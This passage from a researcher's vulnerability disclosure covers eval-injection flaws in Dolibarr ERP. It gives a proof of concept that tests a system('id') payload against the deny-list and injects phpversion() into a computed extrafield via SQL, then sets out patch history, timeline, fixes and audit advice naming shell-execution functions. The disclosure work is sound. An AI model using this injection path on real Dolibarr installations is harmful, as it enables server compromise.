<p>The payload executes automatically on any authenticated page load. <strong>No specific action is required from the victim.</strong></p>

<h4 id="per-branch-reachability">Per-branch reachability</h4>

<table>
  <thead>
    <tr>
      <th>Branch</th>
      <th>Default <code class="language-plaintext highlighter-rouge">dol_eval</code> mode</th>
      <th>Default install affected?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>v22.0.0 – v22.0.4</strong></td>
      <td>blacklist (always)</td>
      <td><strong>YES</strong></td>
    </tr>
    <tr>
      <td>v23.0.0 – v23.0.1</td>
      <td>whitelist (pre-22666-fix)</td>
      <td>only with CVE-2026-22666 bypass</td>
    </tr>
    <tr>
      <td>v23.0.2 – v23.x</td>
      <td>whitelist (post-22666)</td>
      <td>NO (no public bypass known)</td>
    </tr>
    <tr>
      <td><strong>v24.0-alpha (develop)</strong></td>
      <td>whitelist</td>
      <td>NO — only if operator empties <code class="language-plaintext highlighter-rouge">$dolibarr_main_restrict_eval_methods</code></td>
    </tr>
  </tbody>
</table>

<h4 id="vulnerable-code-2">Vulnerable code</h4>

<p><code class="language-plaintext highlighter-rouge">htdocs/core/class/commonobject.class.php</code>, line <strong>6654</strong> (v22.0.4 release tag; the sink also appears at lines 6783, 7232, 8549 for other code paths):</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">array_options</span><span class="p">[</span><span class="s1">'options_'</span> <span class="mf">.</span> <span class="nv">$key</span><span class="p">]</span> <span class="o">=</span> <span class="nf">dol_eval</span><span class="p">(</span>
    <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$extrafields</span><span class="o">-&gt;</span><span class="n">attributes</span><span class="p">[</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">table_element</span><span class="p">][</span><span class="s1">'computed'</span><span class="p">][</span><span class="nv">$key</span><span class="p">],</span>
    <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">'2'</span>
<span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dol_eval()</code> dispatches to <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code> by default. The <code class="language-plaintext highlighter-rouge">eval()</code> is performed inside <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code> as:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$tmps</span> <span class="o">=</span> <span class="nv">$hideerrors</span> <span class="o">?</span> <span class="o">@</span><span class="k">eval</span><span class="p">(</span><span class="s1">'return '</span> <span class="mf">.</span> <span class="nv">$s</span> <span class="mf">.</span> <span class="s1">';'</span><span class="p">)</span> <span class="o">:</span> <span class="k">eval</span><span class="p">(</span><span class="s1">'return '</span> <span class="mf">.</span> <span class="nv">$s</span> <span class="mf">.</span> <span class="s1">';'</span><span class="p">);</span>
</code></pre></div></div>

<p>The block runs inside <code class="language-plaintext highlighter-rouge">fetch_optionals()</code>, <code class="language-plaintext highlighter-rouge">insertExtraFields()</code>, <code class="language-plaintext highlighter-rouge">updateExtraField()</code>, and <code class="language-plaintext highlighter-rouge">showOptionals()</code>. Because <code class="language-plaintext highlighter-rouge">commonobject.class.php</code> is the base class for all Dolibarr business objects (invoices, orders, contacts, products, projects, tickets, etc.), the attack surface spans the entire application.</p>

<h4 id="affected-instances">Affected instances</h4>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>Line (v22.0.4)</th>
      <th>Trigger</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">core/class/commonobject.class.php</code></td>
      <td>6654</td>
      <td>Any <code class="language-plaintext highlighter-rouge">fetch_optionals()</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">core/class/commonobject.class.php</code></td>
      <td>6783</td>
      <td>Any <code class="language-plaintext highlighter-rouge">insertExtraFields()</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">core/class/commonobject.class.php</code></td>
      <td>7232</td>
      <td>Any <code class="language-plaintext highlighter-rouge">updateExtraField()</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">core/class/commonobject.class.php</code></td>
      <td>8549</td>
      <td>Any <code class="language-plaintext highlighter-rouge">showOptionals()</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">compta/facture/class/facture.class.php</code></td>
      <td>2422</td>
      <td>Any invoice fetch</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">compta/facture/class/facture.class.php</code></td>
      <td>2645</td>
      <td>Any invoice line fetch</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">compta/facture/class/factureligne.class.php</code></td>
      <td>366</td>
      <td>Any invoice line fetch</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">core/tpl/extrafields_list_print_fields.tpl.php</code></td>
      <td>78</td>
      <td>Any list page</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">webportal/class/html.formwebportal.class.php</code></td>
      <td>856</td>
      <td>Webportal rendering (auth context depends on webportal config; <strong>unverified</strong> — flagged for follow-up)</td>
    </tr>
  </tbody>
</table>

<h4 id="proof-of-concept-2">Proof of concept</h4>

<p><strong>Step 1 — Filter verification.</strong> Running v22.0.4 <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code> directly against candidate payloads:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[A] system("id")                 ❌ REJECTED
    → "Bad string syntax to evaluate: __forbiddenstring__("id")"
[B] phpversion()                 ✅ PASSED — RETURN: "8.3.31"
[C] define("PWN", phpversion())  ✅ PASSED — RETURN: true
</code></pre></div></div>

<p>Payload [A] is rejected at the function-name deny-list (<code class="language-plaintext highlighter-rouge">\bsystem\b</code> matches and substitutes <code class="language-plaintext highlighter-rouge">__forbiddenstring__</code>). Payload [B] — a filter-passing call to <code class="language-plaintext highlighter-rouge">phpversion()</code> — passes and returns the host’s actual PHP version string.</p>

<p><strong>Step 2 — Inject the filter-passing payload</strong> into <code class="language-plaintext highlighter-rouge">llx_extrafields.fieldcomputed</code> via admin UI (Setup → Extrafields → Computed value) or direct SQL:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UPDATE</span> <span class="n">llx_extrafields</span>
<span class="k">SET</span> <span class="n">fieldcomputed</span> <span class="o">=</span> <span class="s1">'phpversion()'</span>
<span class="k">WHERE</span> <span class="n">name</span> <span class="o">=</span> <span class="s1">'rce_test'</span> <span class="k">AND</span> <span class="n">elementtype</span> <span class="o">=</span> <span class="s1">'societe'</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>Step 3 — End-to-end lab reproduction.</strong> Environment: Dolibarr <strong>v22.0.4</strong> (<code class="language-plaintext highlighter-rouge">DOL_VERSION</code> constant verified), PHP <strong>8.3.31</strong> (Ondrej Sury build for Debian trixie), Apache <strong>2.4.67</strong>, MariaDB <strong>11.8.6</strong>, on Debian 13.5. <code class="language-plaintext highlighter-rouge">Societe::fetch_optionals(1)</code> is invoked, which iterates <code class="language-plaintext highlighter-rouge">$extrafields-&gt;attributes['societe']['computed']</code> and calls <code class="language-plaintext highlighter-rouge">dol_eval(...)</code> for each entry — the documented sink call from <code class="language-plaintext highlighter-rouge">commonobject.class.php:6654</code>.</p>

<p><strong>Self-evidencing capture</strong> — the rendered HTML row for the <code class="language-plaintext highlighter-rouge">RCE Test Field</code> extrafield (output of <code class="language-plaintext highlighter-rouge">showOptionals()</code>, which is what <code class="language-plaintext highlighter-rouge">/societe/card.php?id=1</code> renders in the field’s data row):</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;tr</span> <span class="na">id=</span><span class="s">"extrarow-societe_rce_test_1"</span>
    <span class="na">class=</span><span class="s">"field_options_rce_test societe_extras_rce_test trextrafields_collapse_1"</span>
    <span class="na">data-element=</span><span class="s">"extrafield"</span> <span class="na">data-targetelement=</span><span class="s">"societe"</span> <span class="na">data-targetid=</span><span class="s">"1"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;td</span> <span class="na">class=</span><span class="s">"titlefieldmax45 wordbreak"</span><span class="nt">&gt;</span>RCE Test Field<span class="nt">&lt;/td&gt;</span>
  <span class="nt">&lt;td</span> <span class="na">id=</span><span class="s">"societe_extras_rce_test_1"</span>
      <span class="na">class=</span><span class="s">"valuefieldcreate societe_extras_rce_test"</span><span class="nt">&gt;</span>8.3.31<span class="nt">&lt;/td&gt;</span>
<span class="nt">&lt;/tr&gt;</span>
</code></pre></div></div>

<p>The text <code class="language-plaintext highlighter-rouge">8.3.31</code> inside the <code class="language-plaintext highlighter-rouge">&lt;td class="valuefieldcreate societe_extras_rce_test"&gt;</code> cell is the <strong>only</strong> slot in the Dolibarr render template that can hold the dol_eval return value — the field’s computed result. The value <code class="language-plaintext highlighter-rouge">8.3.31</code> matches the host’s actual PHP version (<code class="language-plaintext highlighter-rouge">PHP 8.3.31 (cli)</code>), proving that <code class="language-plaintext highlighter-rouge">eval('return phpversion();')</code> ran inside <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code> and the result reached the rendered HTML body. The same value is also present in <code class="language-plaintext highlighter-rouge">$societe-&gt;array_options['options_rce_test']</code> during the request, where <code class="language-plaintext highlighter-rouge">fetch_optionals()</code> writes it.</p>

<p>The Dolibarr authentication wrapper is the trigger precondition — any authenticated user reaching any <code class="language-plaintext highlighter-rouge">Societe</code> card page suffices to invoke <code class="language-plaintext highlighter-rouge">Societe::fetch_optionals()</code> — and is not part of the bug itself. The lab harness exercises the eval injection directly via the documented sink call to keep the proof of the filter bypass + eval execution chain unambiguous.</p>

<h4 id="recommended-fix-2">Recommended fix</h4>

<p>Replace <code class="language-plaintext highlighter-rouge">dol_eval()</code> for computed fields with a constrained, purpose-built expression evaluator that does not call PHP <code class="language-plaintext highlighter-rouge">eval()</code>. If the design constraint is to allow only arithmetic and string operations on object fields, a small dedicated parser (or an AST-based library such as <code class="language-plaintext highlighter-rouge">symfony/expression-language</code>) is appropriate; <code class="language-plaintext highlighter-rouge">eval()</code> plus a function-name deny-list cannot be made safe for user-influenced input.</p>

<hr />

<h2 id="4-patch-completeness-analysis">4. Patch completeness analysis</h2>

<p>CVE-2025-56588 was disclosed and patched in 2025. Its patch — commit <code class="language-plaintext highlighter-rouge">b03f30c7e</code>, <em>“Sec: Remove functions accepting callable params”</em> — added callable-accepting helpers such as <code class="language-plaintext highlighter-rouge">array_map</code>, <code class="language-plaintext highlighter-rouge">array_filter</code>, and <code class="language-plaintext highlighter-rouge">preg_replace_callback</code> to the central <code class="language-plaintext highlighter-rouge">$forbiddenphpfunctions</code> blacklist inside <code class="language-plaintext highlighter-rouge">dol_eval()</code>, in <code class="language-plaintext highlighter-rouge">core/lib/functions.lib.php</code>; its only other changes were two <code class="language-plaintext highlighter-rouge">install/upgrade</code> migration scripts and a <code class="language-plaintext highlighter-rouge">phpunit</code> test. It was a <strong>central blacklist expansion</strong> — it modified <strong>no individual <code class="language-plaintext highlighter-rouge">dol_eval</code>-on-<code class="language-plaintext highlighter-rouge">perms</code> call site</strong>.</p>

<p>The audit conducted for this disclosure identified <strong>31</strong> such call sites across 30 files, all introduced in a single commit on March 26, 2025 (<code class="language-plaintext highlighter-rouge">ae59c409f6</code>, <em>“Modulebuilderization”</em>). Because the 2025 fix changed only the central blacklist, <strong>every one of those 31 sites remained reachable after it</strong> — and the blacklist that fix expanded was itself bypassed eight months later, in CVE-2026-22666.</p>

<p>This is the structural problem, and it is not a defect of the 2025 patch in isolation. A blacklist-expansion response cannot converge on a fix: it removes no <code class="language-plaintext highlighter-rouge">eval()</code> sinks — every call site stays exactly where it was — and a deny-list of <em>“dangerous”</em> function names is, by construction, never complete, so each bypass is met only by appending another name. The same shape holds across the prior <code class="language-plaintext highlighter-rouge">dol_eval</code> CVEs of 2022 and 2024: the list grew; the <code class="language-plaintext highlighter-rouge">eval()</code>-based architecture did not change.</p>

<p>This finding is the principal architectural observation of this disclosure. The individual CVEs are real and reproducible, but the more durable problem is that the project’s response model — blacklist expansion, with the <code class="language-plaintext highlighter-rouge">eval()</code> call sites left in place — does not converge on a fix. Each CVE patches a symptom; the next CVE finds a new path through the same architecture.</p>

<h3 id="independent-corroboration">Independent corroboration</h3>

<p>This conclusion is not unique to the present disclosure. In April 2026, Farhan Jiva (Jiva Security) published an independent analysis of <strong>CVE-2026-22666</strong> — a whitelist-mode bypass of <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code>, reached from Dolibarr 23.0.0 through a different entry point — and arrived at the same architectural assessment:</p>

<blockquote>
  <p>“<code class="language-plaintext highlighter-rouge">eval()</code> is fundamentally the wrong primitive for user-defined expressions, no matter how many checks you wrap around it.”</p>

  <p>— Farhan Jiva, <em>Breaking the Eval Cage</em> (CVE-2026-22666 disclosure, April 2026)</p>
</blockquote>

<p>In the variant-analysis section of that write-up, Jiva independently enumerated <code class="language-plaintext highlighter-rouge">commonobject.class.php</code>, <code class="language-plaintext highlighter-rouge">facture.class.php</code>, and <code class="language-plaintext highlighter-rouge">html.formwebportal.class.php</code> as <code class="language-plaintext highlighter-rouge">dol_eval()</code> evaluation sinks — the same files identified in CVE-2026-37713 (§3.3), reached from a different version and a different bypass. Two researchers, working separately, converged on the same attack surface and the same root cause. That convergence is itself evidence that the problem is architectural rather than incidental.</p>

<hr />

<h2 id="5-disclosure-timeline">5. Disclosure timeline</h2>

<p>The record below is factual; commentary is reserved. Dates are 2026 unless noted.</p>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2025-03-26</td>
      <td>Commit <code class="language-plaintext highlighter-rouge">ae59c409f6</code> (“Modulebuilderization”) introduces the 31 <code class="language-plaintext highlighter-rouge">perms</code> call sites and the computed-field passive trigger. Author: ldestailleur.</td>
    </tr>
    <tr>
      <td>2025-07-27</td>
      <td>CVE-2025-56588 patched (commit <code class="language-plaintext highlighter-rouge">b03f30c7e</code>): a central <code class="language-plaintext highlighter-rouge">dol_eval()</code> blacklist expansion. None of the 31 <code class="language-plaintext highlighter-rouge">perms</code> call sites is modified.</td>
    </tr>
    <tr>
      <td>2026-02-24</td>
      <td>First contact with the Dolibarr maintainer — a consolidated GitHub Security Advisory covering the findings. 90-day disclosure timeline initiated.</td>
    </tr>
    <tr>
      <td>2026-02-28 – 03-02</td>
      <td>Lab reproduction and PoC confirmation on commit <code class="language-plaintext highlighter-rouge">ff146c4713</code>.</td>
    </tr>
    <tr>
      <td>2026-03-02 – 03-08</td>
      <td>The maintainer replies that the consolidated advisory “mixes several reports” and asks for one advisory per issue. The findings are re-submitted accordingly as three individual GitHub Security Advisories — one vulnerability per advisory, with Burp Suite captures, exact file/line references, and step-by-step PoCs.</td>
    </tr>
    <tr>
      <td>2026-03-10</td>
      <td>The maintainer closes all three advisories with an identical message — <em>“Due to a high level of non valid report reported by this user, all reports from this users are blacklisted.”</em> — and no technical refutation. The researcher escalates the same day to the GitHub Security Advisory Database (request #137155).</td>
    </tr>
    <tr>
      <td>2026-03-13</td>
      <td>GitHub Security Advisory Database (Shelby Cunningham, Security Researcher III) declines CVE assignment, citing: <em>“Without the maintainer initiating CVE requests, GitHub can’t issue CVEs.”</em> The researcher is referred to MITRE Primary.</td>
    </tr>
    <tr>
      <td>2026-04-10</td>
      <td>MITRE Primary assigns CVE-2026-37711, CVE-2026-37712, and CVE-2026-37713, with full technical descriptions provided by the researcher.</td>
    </tr>
    <tr>
      <td><strong>2026-05-25</strong></td>
      <td><strong>Public disclosure (this post) — 90 days from first contact.</strong></td>
    </tr>
  </tbody>
</table>

<p>This is the timeline as it occurred. The maintainer’s closure notice is reproduced verbatim because it is the only public record of the basis for closure. No technical refutation of the three findings has been provided publicly.</p>

<hr />

<h2 id="6-recommendations">6. Recommendations</h2>

<h3 id="61-for-dolibarr">6.1 For Dolibarr</h3>

<p>The findings in this post are individually fixable. The pattern that produced them is not, while the underlying architecture remains.</p>

<p><strong>Short-term (per-CVE fixes):</strong></p>
<ul>
  <li>CVE-2026-37711: remove the <code class="language-plaintext highlighter-rouge">dol_eval</code> block from <code class="language-plaintext highlighter-rouge">actions_addupdatedelete.inc.php</code> and the 30 sites that include it. The <code class="language-plaintext highlighter-rouge">perms</code> attribute should not be evaluated as PHP.</li>
  <li>CVE-2026-37712: implement an allowlist of permitted method names for <code class="language-plaintext highlighter-rouge">jobtype='function'</code>, or require that the call target be a method of an explicitly instantiated Dolibarr class.</li>
  <li>CVE-2026-37713: replace <code class="language-plaintext highlighter-rouge">dol_eval()</code> for computed fields with a constrained, purpose-built expression evaluator.</li>
</ul>

<p><strong>Architectural:</strong></p>
<ul>
  <li>Adopt a parsing-based evaluator for computed expressions. PHP’s <code class="language-plaintext highlighter-rouge">eval()</code> is an inappropriate primitive for user-supplied (or admin-supplied, attacker-pivotable) content, and the documentation <a href="https://www.php.net/manual/en/function.eval.php">says so explicitly</a>.</li>
  <li>When a CVE is reported in any function, perform a project-wide search for all call sites of that function — not only the one in the report — before declaring the CVE patched.</li>
  <li>Reconsider PR #33082 (or an equivalent rewrite). The proposal to eliminate <code class="language-plaintext highlighter-rouge">eval()</code>-based evaluation in favor of safe primitives is, in retrospect, the architectural fix that would have prevented this entire CVE family.</li>
</ul>

<h3 id="62-for-downstream-users">6.2 For downstream users</h3>

<p>While patches are pending:</p>

<ul>
  <li>Restrict administrator accounts to trusted personnel. All three vulnerabilities require administrator privileges to inject the payload, but the payload can persist and trigger on <strong>any</strong> authenticated user thereafter.</li>
  <li>Audit <code class="language-plaintext highlighter-rouge">llx_extrafields.perms</code> and <code class="language-plaintext highlighter-rouge">llx_extrafields.fieldcomputed</code> for unexpected PHP-like content.</li>
  <li>Audit <code class="language-plaintext highlighter-rouge">llx_cronjob</code> rows where <code class="language-plaintext highlighter-rouge">jobtype = 'function'</code> for unexpected <code class="language-plaintext highlighter-rouge">methodename</code> values (e.g., <code class="language-plaintext highlighter-rouge">system</code>, <code class="language-plaintext highlighter-rouge">exec</code>, <code class="language-plaintext highlighter-rouge">passthru</code>, <code class="language-plaintext highlighter-rouge">shell_exec</code>).</li>
  <li>Where feasible, run Apache as a non-<code class="language-plaintext highlighter-rouge">root</code> user. CVE-2026-37713 in particular escalates to system compromise when the web server runs as <code class="language-plaintext highlighter-rouge">root</code>.</li>
</ul>

<h3 id="63-for-the-broader-cvd-process">6.3 For the broader CVD process</h3>

<p>This disclosure passed through three layers of the CVE/CNA chain: the GitHub Security Advisory Database (declined assignment), the project’s own GitHub Security Advisories (closed without technical refutation), and finally MITRE Primary (which assigned the CVE-IDs). This three-step path is unusually long for a coordinated disclosure of three independently reproducible findings, and it points to a gap in current CVD norms:</p>

<ul>
  <li>When a project maintainer is the only path to CNA assignment for their project, and the maintainer declines to engage technically, the researcher must escalate to TL-Root. This worked, but the path is not well-documented for new researchers and is not consistently applied across CNAs.</li>
  <li>Methodology transparency (cf. §2.4) reduces, but does not eliminate, a maintainer’s incentive to dismiss reports as low-quality. A standardized disclosure metadata format — audit trail, reproduction logs, lab parameters — would help.</li>
</ul>

<p>A further structural factor is common to single-maintainer open-source projects: the concentration of roles. When the same party holds sole code-merge authority, authors the <code class="language-plaintext highlighter-rouge">SECURITY.md</code> that defines which reports are treated as valid, and is the decision-maker on the project’s security advisories, the coordinated-disclosure process has no external check — acknowledgement of a vulnerability depends entirely on the cooperation of one person, with no independent appeal path. This is a structural observation about governance, not a claim about any individual or project. It is most acute when a project also has commercial stakeholders, since reputational and commercial incentives then bear on the same role that gatekeeps report validity.</p>

<p>The OpenSSF Vulnerability Disclosures Working Group and other CVD-norm bodies are well-placed to address these gaps — for example, by providing a researcher-initiated CNA escalation path that does not depend on maintainer cooperation.</p>

<hr />

<h2 id="7-references">7. References</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">GHSA-grw9-6m4w-mhcq</code> — CVE-2026-37711 <em>(advisory opened in the Dolibarr repository; closed by the maintainer without publication or technical refutation — the identifier does not resolve publicly. Full technical detail in §3.1.)</em></li>
  <li><code class="language-plaintext highlighter-rouge">GHSA-c2jp-w9cj-6cx4</code> — CVE-2026-37712 <em>(advisory opened in the Dolibarr repository; closed by the maintainer without publication or technical refutation — the identifier does not resolve publicly. Full technical detail in §3.2.)</em></li>
  <li><code class="language-plaintext highlighter-rouge">GHSA-cq92-jp5j-rwvj</code> — CVE-2026-37713 <em>(advisory opened in the Dolibarr repository; closed by the maintainer without publication or technical refutation — the identifier does not resolve publicly. Full technical detail in §3.3.)</em></li>
  <li>CVE-2025-56588 — 2025 <code class="language-plaintext highlighter-rouge">dol_eval</code> hardening: central <code class="language-plaintext highlighter-rouge">$forbiddenphpfunctions</code> blacklist expansion (commit <code class="language-plaintext highlighter-rouge">b03f30c7e</code>)</li>
  <li>CVE-2026-22666 — Jiva Security, <em>Breaking the Eval Cage</em> (April 2026) — independent <code class="language-plaintext highlighter-rouge">dol_eval_standard()</code> whitelist-bypass analysis (CNA: VulnCheck; fixed in 23.0.2)</li>
  <li>CVE-2025-67486 — Abduxalilov (April 2026) — independent extrafield <code class="language-plaintext highlighter-rouge">dol_eval()</code> injection; pins central <code class="language-plaintext highlighter-rouge">dol_eval_*</code> helpers with an active user-creation trigger. <strong>Distinct from CVE-2026-37713</strong>: that record pins four <code class="language-plaintext highlighter-rouge">commonobject.class.php</code> consumer sinks reached through a passive extrafield render. Listed for completeness; the two records cover non-overlapping reachability surfaces of the same dynamic-evaluation primitive.</li>
  <li><a href="https://github.com/Dolibarr/dolibarr/pull/33082">Dolibarr PR #33082</a> — c3do’s <code class="language-plaintext highlighter-rouge">dol_eval</code> rewrite proposal (closed unmerged, Feb 2025)</li>
  <li><a href="https://www.php.net/manual/en/function.eval.php">PHP <code class="language-plaintext highlighter-rouge">eval()</code> documentation</a> — <em>“The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged.”</em></li>
  <li>CVE-2022-0819, CVE-2022-40871, CVE-2024-40137 — prior <code class="language-plaintext highlighter-rouge">dol_eval</code>-related disclosures</li>
  <li><a href="https://bishopfox.com/blog/2019-bishop-fox-disclosures">Bishop Fox advisory on Dolibarr 9.0.1 (2019)</a> — earlier context on disclosure response patterns</li>
</ul>

<hr />

<h2 id="appendix-a--lab-environment">Appendix A — Lab environment</h2>

<p><strong>Lab 1 — Feb–Mar 2026 (initial discovery; PoCs for §3.1 + §3.2)</strong></p>

<table>
  <thead>
    <tr>
      <th>Component</th>
      <th>Version</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Dolibarr</td>
      <td>24.0.0-alpha (commit <code class="language-plaintext highlighter-rouge">ff146c4713</code>); also confirmed on v22.0.0 – v22.0.4</td>
    </tr>
    <tr>
      <td>OS</td>
      <td>Ubuntu 24.04 (containerized via Podman)</td>
    </tr>
    <tr>
      <td>PHP</td>
      <td>8.3.6</td>
    </tr>
    <tr>
      <td>Web server</td>
      <td>Apache 2.4.58</td>
    </tr>
    <tr>
      <td>Database</td>
      <td>MariaDB 11.4</td>
    </tr>
    <tr>
      <td>HTTP capture</td>
      <td>Burp Suite Professional</td>
    </tr>
  </tbody>
</table>

<p><strong>Lab 2 — May 2026 (post-publication §3.3 rebuild)</strong></p>

<table>
  <thead>
    <tr>
      <th>Component</th>
      <th>Version</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Dolibarr</td>
      <td>v22.0.4 (release tag; <code class="language-plaintext highlighter-rouge">DOL_VERSION</code> constant verified)</td>
    </tr>
    <tr>
      <td>OS</td>
      <td>Debian 13.5 (KVM/QEMU VM)</td>
    </tr>
    <tr>
      <td>PHP</td>
      <td>8.3.31 (Ondrej Sury / <code class="language-plaintext highlighter-rouge">packages.sury.org</code> for trixie)</td>
    </tr>
    <tr>
      <td>Web server</td>
      <td>Apache 2.4.67</td>
    </tr>
    <tr>
      <td>Database</td>
      <td>MariaDB 11.8.6</td>
    </tr>
    <tr>
      <td>HTTP capture</td>
      <td><code class="language-plaintext highlighter-rouge">curl -isS</code></td>
    </tr>
  </tbody>
</table>

<h2 id="appendix-b--per-finding-audit-material">Appendix B — Per-finding audit material</h2>

<p>Available on request. Includes:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">grep</code> output enumerating all <code class="language-plaintext highlighter-rouge">dol_eval</code> and <code class="language-plaintext highlighter-rouge">call_user_func_array</code> call sites</li>
  <li>Per-site taintability analysis (input → sanitization → sink)</li>
  <li>Lab reproduction logs with timestamps</li>
  <li>HTTP capture archives (Burp <code class="language-plaintext highlighter-rouge">.saved</code> files)</li>
</ul>

<h2 id="acknowledgments">Acknowledgments</h2>

<p>This work was conducted independently. Thanks to the MITRE TL-Root team for the CVE assignment process, to the OpenSSF Vulnerability Disclosures Working Group for the public guidance on coordinated disclosure, and to the Linux kernel <code class="language-plaintext highlighter-rouge">linux-wireless</code> community for unrelated mentorship in source-level review practice.</p>

<hr />

<p><em>Bryam Vargas — Bogotá, Colombia — May 2026</em>
<em>Contact: bryamestebanvargas [at] gmail.com — PGP key on request</em></p>]]></content><author><name>Bryam Vargas</name></author><category term="disclosure" /><category term="dolibarr" /><category term="cve" /><category term="rce" /><category term="dol_eval" /><category term="code-injection" /><summary type="html"><![CDATA[Three high-severity vulnerabilities in Dolibarr ERP/CRM — a dol_eval() PHP code injection (CWE-94), an OS command execution via call_user_func_array() in cron (CWE-78), and a passively-triggered eval-injection PHP code execution (CWE-95) — and the five-year pattern of partial patches that left the eval() primitive reachable.]]></summary></entry></feed>